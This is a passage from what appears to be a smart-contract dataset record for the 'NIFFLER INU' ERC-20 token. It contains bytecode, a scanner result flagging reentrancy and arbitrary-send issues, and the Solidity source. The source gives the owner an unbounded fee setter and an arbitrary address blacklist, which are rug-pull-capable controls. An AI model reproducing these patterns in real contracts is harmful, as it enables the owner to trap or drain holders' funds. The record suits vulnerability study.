73ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ca9fa62658759d5df61f4eee3f6edec07cc83cc638b029c6ee5c4be768b7041764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,461
0xee3d28e7d550247ae41e65591139b8016f81dafb
//https://t.me/nifflerinu // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract NIFFLER is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e11 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "NIFFLER INU"; string private constant _symbol = "NIFFLER"; uint private constant _decimals = 9; uint256 private _teamFee = 13; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (1 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f6578063cf0848f71461040b578063cf9d4afa1461042b578063dd62ed3e1461044b578063e6ec64ec14610491578063f2fde38b146104b157600080fd5b8063715018a6146103295780638da5cb5b1461033e57806390d49b9d1461036657806395d89b4114610386578063a9059cbb146103b6578063b515566a146103d657600080fd5b806331c2d8471161010857806331c2d847146102425780633bbac57914610262578063437823ec1461029b578063476343ee146102bb5780635342acb4146102d057806370a082311461030957600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b857806318160ddd146101e857806323b872dd1461020e578063313ce5671461022e57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d1565b005b34801561017e57600080fd5b5060408051808201909152600b81526a4e4946464c455220494e5560a81b60208201525b6040516101af91906118aa565b60405180910390f35b3480156101c457600080fd5b506101d86101d3366004611924565b61051d565b60405190151581526020016101af565b3480156101f457600080fd5b5068056bc75e2d631000005b6040519081526020016101af565b34801561021a57600080fd5b506101d8610229366004611950565b610534565b34801561023a57600080fd5b506009610200565b34801561024e57600080fd5b5061017061025d3660046119a7565b61059d565b34801561026e57600080fd5b506101d861027d366004611a6c565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a757600080fd5b506101706102b6366004611a6c565b610633565b3480156102c757600080fd5b50610170610681565b3480156102dc57600080fd5b506101d86102eb366004611a6c565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031557600080fd5b50610200610324366004611a6c565b6106bb565b34801561033557600080fd5b506101706106dd565b34801561034a57600080fd5b506000546040516001600160a01b0390911681526020016101af565b34801561037257600080fd5b50610170610381366004611a6c565b610713565b34801561039257600080fd5b506040805180820190915260078152662724a3232622a960c91b60208201526101a2565b3480156103c257600080fd5b506101d86103d1366004611924565b61078d565b3480156103e257600080fd5b506101706103f13660046119a7565b61079a565b34801561040257600080fd5b506101706108b3565b34801561041757600080fd5b50610170610426366004611a6c565b61096a565b34801561043757600080fd5b50610170610446366004611a6c565b6109b5565b34801561045757600080fd5b50610200610466366004611a89565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049d57600080fd5b506101706104ac366004611ac2565b610c10565b3480156104bd57600080fd5b506101706104cc366004611a6c565b610c3f565b6000546001600160a01b031633146105045760405162461bcd60e51b81526004016104fb90611adb565b60405180910390fd5b600061050f306106bb565b905061051a81610cd7565b50565b600061052a338484610e51565b5060015b92915050565b6000610541848484610f75565b610593843361058e85604051806060016040528060288152602001611c56602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611391565b610e51565b5060019392505050565b6000546001600160a01b031633146105c75760405162461bcd60e51b81526004016104fb90611adb565b60005b815181101561062f576000600560008484815181106105eb576105eb611b10565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062781611b3c565b9150506105ca565b5050565b6000546001600160a01b0316331461065d5760405162461bcd60e51b81526004016104fb90611adb565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062f573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052e906113cb565b6000546001600160a01b031633146107075760405162461bcd60e51b81526004016104fb90611adb565b610711600061144f565b565b6000546001600160a01b0316331461073d5760405162461bcd60e51b81526004016104fb90611adb565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061052a338484610f75565b6000546001600160a01b031633146107c45760405162461bcd60e51b81526004016104fb90611adb565b60005b815181101561062f57600c5482516001600160a01b03909116908390839081106107f3576107f3611b10565b60200260200101516001600160a01b0316141580156108445750600b5482516001600160a01b039091169083908390811061083057610830611b10565b60200260200101516001600160a01b031614155b156108a15760016005600084848151811061086157610861611b10565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108ab81611b3c565b9150506107c7565b6000546001600160a01b031633146108dd5760405162461bcd60e51b81526004016104fb90611adb565b600c54600160a01b900460ff166109415760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104fb565b600c805460ff60b81b1916600160b81b17905542600d81905561096590603c611b57565b600e55565b6000546001600160a01b031633146109945760405162461bcd60e51b81526004016104fb90611adb565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109df5760405162461bcd60e51b81526004016104fb90611adb565b600c54600160a01b900460ff1615610a475760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104fb565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac29190611b6f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b339190611b6f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba49190611b6f565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c3a5760405162461bcd60e51b81526004016104fb90611adb565b600855565b6000546001600160a01b03163314610c695760405162461bcd60e51b81526004016104fb90611adb565b6001600160a01b038116610cce5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104fb565b61051a8161144f565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d1f57610d1f611b10565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9c9190611b6f565b81600181518110610daf57610daf611b10565b6001600160a01b039283166020918202929092010152600b54610dd59130911684610e51565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e0e908590600090869030904290600401611b8c565b600060405180830381600087803b158015610e2857600080fd5b505af1158015610e3c573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610eb35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fb565b6001600160a01b038216610f145760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fb565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fd95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fb565b6001600160a01b03821661103b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fb565b6000811161109d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fb565b6001600160a01b03831660009081526005602052604090205460ff16156111455760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104fb565b6001600160a01b03831660009081526004602052604081205460ff1615801561118757506001600160a01b03831660009081526004602052604090205460ff16155b801561119d5750600c54600160a81b900460ff16155b80156111cd5750600c546001600160a01b03858116911614806111cd5750600c546001600160a01b038481169116145b1561137f57600c54600160b81b900460ff1661122b5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104fb565b50600c546001906001600160a01b03858116911614801561125a5750600b546001600160a01b03848116911614155b8015611267575042600e54115b156112af576000611277846106bb565b9050611298606461129268056bc75e2d63100000600261149f565b9061151e565b6112a28483611560565b11156112ad57600080fd5b505b600d544214156112dd576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112e8306106bb565b600c54909150600160b01b900460ff161580156113135750600c546001600160a01b03868116911614155b1561137d57801561137d57600c546113479060649061129290600f90611341906001600160a01b03166106bb565b9061149f565b81111561137457600c546113719060649061129290600f90611341906001600160a01b03166106bb565b90505b61137d81610cd7565b505b61138b848484846115bf565b50505050565b600081848411156113b55760405162461bcd60e51b81526004016104fb91906118aa565b5060006113c28486611bfd565b95945050505050565b60006006548211156114325760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104fb565b600061143c6116c2565b9050611448838261151e565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114ae5750600061052e565b60006114ba8385611c14565b9050826114c78583611c33565b146114485760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fb565b600061144883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e5565b60008061156d8385611b57565b9050838110156114485760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fb565b80806115cd576115cd611713565b6000806000806115dc8761172f565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116099085611776565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116389084611560565b6001600160a01b03891660009081526001602052604090205561165a816117b8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161169f91815260200190565b60405180910390a350505050806116bb576116bb600954600855565b5050505050565b60008060006116cf611802565b90925090506116de828261151e565b9250505090565b600081836117065760405162461bcd60e51b81526004016104fb91906118aa565b5060006113c28486611c33565b60006008541161172257600080fd5b6008805460095560009055565b60008060008060008061174487600854611844565b9150915060006117526116c2565b90506000806117628a8585611871565b909b909a5094985092965092945050505050565b6000611448838360405180604001604052